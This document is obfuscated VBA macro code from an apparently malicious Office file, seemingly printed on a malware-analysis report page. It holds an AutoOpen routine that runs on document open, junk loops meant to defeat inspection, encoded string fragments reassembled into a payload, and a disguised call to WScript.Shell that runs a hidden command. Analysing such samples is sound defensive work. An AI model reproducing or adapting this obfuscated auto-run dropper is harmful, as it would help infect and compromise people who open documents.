CZAwhClUtzH = mAWRWn("6arhGMAMwA2AGEAYwAxADQAOAA2ADkAZgA3ADIANwA1ADUANAAwADkAZAA1AGMAMgA5AGYAYgAzADcAMgAyADcANAoEBl5", 5 + pIOim - pIOim, 85 + pIOim - pIOim)
For zaCQEE = 62004 To tslzi
Select Case LjcSX
Case 94140
QSPAP = CDbl(81817)
End Select
Next
AVajq = 30780 + 18045
For fzDUqY = 70675 To MTfMDF
Select Case HGSvmY
Case 57131
jNroUw = CDbl(47791)
End Select
Next
jGBXAz = 91492 + 8132
zoONODuvPch = mAWRWn("LTAMAAyADkAMQAyADMAOQBkADkAMwA3ADAANwBiAGMAYgA3ADIAYgA1ADgANwBkADUAMwA4ADYAOAAxAGMAYwBiADEANAA3ADQAYwA4ADYAMwA5ADAAMwAzADEAZgA5ADcANwA4ADcAYgBkADcA06bN8S", 3 + jUnOZ - jUnOZ, 145 + jUnOZ - jUnOZ)
For vZtqv = 28564 To GfFQou
Select Case WCQTH
Case 98468
QvofwF = CDbl(2939)
End Select
Next
jJLOWr = 99057 + 69138
For DPiPq = 97795 To ntsTt
Select Case nEdHrF
Case 26469
khrou = CDbl(16327)
End Select
Next
EBvflu = 72146 + 65323
HUmrahCHM = mAWRWn("MBavMAA5ADIAMAAxAGUAMgA0ADEAZABkADgANAAzAGEAYQBiAGz5KH", 5 + nwPhot - nwPhot, 46 + nwPhot - nwPhot)
For JZvHP = 34135 To MbtQW
Select Case WAEqFS
Case 66174
bwqGjr = CDbl(92849)
End Select
Next
IwBWIw = 34705 + 18431
For JGkfc = 15097 To tqiAH
Select Case EWnUKH
Case 7288
hBhQiP = CDbl(96328)
End Select
Next
wmHiI = 95495 + 74573
WcBImnv = mAWRWn("CAJbADMAMQA0AGYAYwBjAGIAYwAwAGEANQBhAGIAYgAzADUAMAA4AGMAMAAyADIAOQAwADgAYQA2AGUAZQA0ADcAMwBjAGEAOAAyADkAZQA5AGEAYgAxADcAZABiADYAYwA4ADcAZQBhADkAMABkAGUAYwBmADcAMABmAGEANgAzADIAZAAzADUAYwBlADUAOOz", 5 + sSbfM - sSbfM, 189 + sSbfM - sSbfM)
For wvMAT = 79370 To bKDMwu
Select Case HzKVcE
Case 5958
wsJnt = CDbl(84376)
End Select
Next
djGjRW = 29841 + 90135
For ULfdZb = 92182 To mEZkS
Select Case TuqZdz
Case 19064
DbMswb = CDbl(67068)
End Select
Next
DZAbcc = 5784 + 30048
YCcYrcG = mAWRWn("lONVi%ADUANABmAGEANQBiAGYAOAA3AGQANwBmAGYAYQBjADEANwBjADkAMQBkADcAOAA0ADgAMwA4ADAAMABmAGQANgBjADAAZAAyADYANQA2ADIAMQBjADkANQBjADQANQA3AGYAYwA4AGIAYgA1ADEAMwBlAGMANAAxADgAYwA1ADQAYQBiADIANwAxADgon", 7 + TsUFF - TsUFF, 187 + TsUFF - TsUFF)
For fQUwt = 92929 To HjQKVC
Select Case aSUID
Case 32554
dUjBAA = CDbl(68570)
End Select
Next
QqraMw = 63593 + 80158
For KEbRJa = 15950 To OhndcU
Select Case CPnPc
Case 5033
zOXwK = CDbl(98024)
End Select
Next
tWkTl = 69971 + 59773
GRStXqsT = mAWRWn("R4WnAEANwBjAGEAZABiAGQAZAAyADcAMwAxav.J", 6 + KfWkO - KfWkO, 30 + KfWkO - KfWkO)
For EBGYEa = 79192 To aHRMdw
Select Case jUjqF
Case 24944
NPJDVK = CDbl(4838)
End Select
Next
rkuYK = 74000 + 17123
For iqwzm = 40604 To akLPz
Select Case AJBVN
Case 96745
bPvrd = CDbl(72551)
End Select
Next
wwGFvC = 53891 + 89156
UbzNZvS = mAWRWn("NLEAGMAZgA1ADIAMABhAGEANQA0ADgAMQBjADgAYQBiAGIAZAAwADIAYgA2ADEAYQBjADUANQA3ADYAMQAzADAAZQAzAGUANgA0AGUANQBmAGUAZgBiADQAYgBiADEAZgAyAGQAYwAyAGUAOQBhADMAMwBiADkAOAAyADcAZAAzADcAZQBlAGIZBdDj", 4 + wsKZz - wsKZz, 179 + wsKZz - wsKZz)
For YrYbS = 16774 To jNiwOM
Select Case VUlLdO
Case 88899
UAlMd = CDbl(57166)
End Select
Next
UznFn = 56757 + 57523
For HQHjaW = 65464 To CkPhD
Select Case RzrFk
Case 4992
iwPPV = CDbl(1570)
End Select
Next
QSHFGY = 63745 + 7725
XaAJMjY = mAWRWn("fA3AGEAZABhAGEANwBlADQAMwBhADIAOABlAGEAYwA1ADIAYwBkADEAYwA2ADgAMgAzADMAMABlADUANgBiAGIANwAxAGMAMAuvET9jp", 2 + XHScMd - XHScMd, 96 + XHScMd - XHScMd)
For AqGizq = 18392 To OiRbwz
Select Case aXLcRs
Case 38726
VAzjc = CDbl(19179)
End Select
Next
ipNVrO = 59278 + 45562
WCloQXJPawj = npYAnjGUTN + """" + iNEmjjmkiAG
BDZpSBJzvzJzvb = lGDcGQbaIG + jnDcNaIfvAro + PWhUEfVAIDLC + WCloQXJPawj + TTQmudQOfrQ + sjmYIjDl + RDbNkKM + NCjdFfjlbSd + QBZjmEoX + HUmrahCHM + jsScYrvEi + umpjtifruZP + UbzNZvS + NlAtvcblk + GRStXqsT + wVdtAHsnQ + uqbOXPrCFB + EFdiCwSCvA + AbdNhUWh + QoOLGf + trwNrKUwV + tSEfpYPACLi + zDbpLii + aArUKtWd + FvPAzlFzi + CZAwhClUtzH + Faalrj + oYbWf + FWUofcX + BAutDqOq + VIaRdK + HocrwPz + tHIWzhjrYPq + TvWXkpX + XaAJMjY + NYSZv + sQaIcwzC + zsBWIJ + bEvmRFi + nXFDGSZo + wtzajJqvrjz + DYzQcvD + zoONODuvPch + rCSjHXZVnDd + djmmYiLrptj + slQwtDavijr + Wonji + vTKEWlwzuV + WcBImnv + IGvGq + bjwtvYr + bbdjruCYdp + YZTRDFwNIB + pqbKolCFtC + IldYhBmO + YCcYrcG + ffwOa + ZwLpUYCYRr
For bmKctt = 38377 To HrNkGs
Select Case LijiWP
Case 20302
NVwjW = CDbl(80855)
End Select
Next
Bvmsm = 77789 + 94940
End Function
Sub NjbfZr(CSHBl)
For slsFw = 20133 To kJfdTQ
Select Case cBJca
Case 19877
dRlBWU = CDbl(28715)
End Select
Next
XJbqBN = 33500 + 83533
End Sub
Attribute VB_Name = "wLIhjBI"
Sub bbPOTHDapjE()
On Error Resume Next
For VCdOvK = 19310 To TtUpZN
Select Case qNnfiP
Case 60201
Pmwzk = CDbl(42283)
End Select
Next
rKzTjv = 65624 + 89001
End Sub
Sub AutoOpen()
On Error Resume Next
For YrYKhH = 49859 To GTMNCA
Select Case WpCNcz
Case 25174
OlCKr = CDbl(11523)
End Select
Next
rISBHn = 82780 + 39319
Application.Run HMJrQ + "bYqDwhFwR" + UoJXw, tURoLR + BDZpSBJzvzJzvb + Zfzij
For cEuBtn = 59918 To jGQnV
Select Case FQNAU
Case 17303
woBMvV = CDbl(64144)
End Select
Next
nKiZPo = 9867 + 50821
End Sub
Function FzfDXOljzo()
FzfDXOljzo = QkRXJO + Replace("DwArAWDwArASDwArAcDwArArDwArAiDwArApDwArAtDwArA.DwArASDwArAhDwArAeDwArAlDwArAlDwArA", "DwArA", "") + ApIEI
For wNaqd = 30326 To ozRzaw
Select Case mOGUAq
Case 49861
krNoaz = CDbl(21829)
End Select
Next
NcmVN = 31735 + 97416
End Function
Sub bYqDwhFwR(pwRtVdvEG As String)
On Error Resume Next
For KphwS = 35963 To zMSPm
Select Case oESsMd
Case 68478
pptdrE = CDbl(40233)
End Select
Next
bhVPiJ = 20646 + 17221
IjqCE = "DwArA"
For RRXQcH = 70078 To XZYTc
Select Case nPuVz
Case 76215
aOzIk = CDbl(71759)
End Select
Next
WAitJQ = 89616 + 23077
CreateObject(NNhJE + FzfDXOljzo + fwVwf).Run AooKVGqDYHr + Chr(VBA.vbKeyC) + pwRtVdvEG + qCXuiJMHb + jIRiQ, vbHide
For jCnlF = 20930 To LqioK
Select Case IoGVL
Case 35038
zkRLm = CDbl(47660)
End Select
Next
wHftq = 81767 + 70259
End Sub
Function PWhUEfVAIDLC()
On Error Resume Next
For RTiuP = 58486 To PJwZnN
Select Case iDsVMO
Case 44542
YoWtAk = CDbl(90538)
End Select
Next
otzSJY = 11228 + 44038
FWUofcX = mAWRWn("JE01WiHaiT&&setAu6qv", 5 + BtUNZG - BtUNZG, 11 + BtUNZG - BtUNZG)
For NEFVf = 93182 To bRQRws
Select Case HuVuq
Case 45540
dGUWJ = CDbl(62417)
End Select
Next
vhJzVD = 99122 + 19550
For KrblG = 64652 To kuTcWw
Select Case vZiUE
Case 63857
ZACRI = CDbl(27971)
End Select
Next
AoIOLo = 53362 + 14729
IldYhBmO = mAWRWn("nzjKmFcr", 4 + atrmS - atrmS, 1 + atrmS - atrmS)
For XGaVKB = 49044 To tRatl
Select Case wEiAk
Case 83011
TzTVk = CDbl(12821)
End Select
Next
OKHqn = 77103 + 21562
For CbMDS = 26561 To BrmiWr
Select Case CMujEH
Case 12557
cLFwb = CDbl(36274)
End Select
Next
oTXmzB = 91927 + 97247
bbdjruCYdp = mAWRWn("0ropGTv%", 5 + iLpYa - iLpYa, 1 + iLpYa - iLpYa)
For Kwjop = 31764 To unsitj
Select Case vhBdzB
Case 96959
lPZCT = CDbl(20705)
End Select
Next
riGNiY = 12534 + 51889
For dCHSP = 62074 To uwiwYB
Select Case shXpuz
Case 90710
ddACuw = CDbl(70806)
End Select
Next
hHNhX = 26365 + 25345
nXFDGSZo = mAWRWn("DEoSAbq oI", 6 + jMRLL - jMRLL, 2 + jMRLL - jMRLL)
For mXHsAk = 58615 To LopbNh
Select Case DFuYiS
Case 25623
sJXzrK = CDbl(39935)
End Select
Next
fUiDX = 81584 + 4197
For HZzpUV = 37369 To llkHbU
Select Case XAlzi
Case 53531
EVVhjs = CDbl(54521)
End Select
Next
zkmQEP = 2565 + 81525
HocrwPz = mAWRWn("wiDNIet %QWWhHTTnKrmcM", 6 + swOqFJ - swOqFJ, 15 + swOqFJ - swOqFJ)
For jNWDLn = 16230 To iEiFtj
Select Case NRVcTm
Case 72360
XGoAUL = CDbl(30647)
End Select
Next
WJGSQF = 74705 + 85517
For ssCoH = 98921 To HAFjBU
Select Case sNUmT
Case 46354
NffYh = CDbl(16557)
End Select
Next
QuhfW = 86031 + 82223
QoOLGf = mAWRWn("KbF%zFUimjX&rj", 6 + MABnza - MABnza, 7 + MABnza - MABnza)
For rTKihz = 19322 To rPSVZz
Select Case OqkPf
Case 24477
QZqbq = CDbl(11920)
End Select
Next
DfbZJ = 42480 + 3043
For ZjMjXP = 46899 To thibTt
Select Case IEcHj
Case 68699
NcmYXc = CDbl(871)
End Select
Next
ioRDR = 33083 + 47158
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.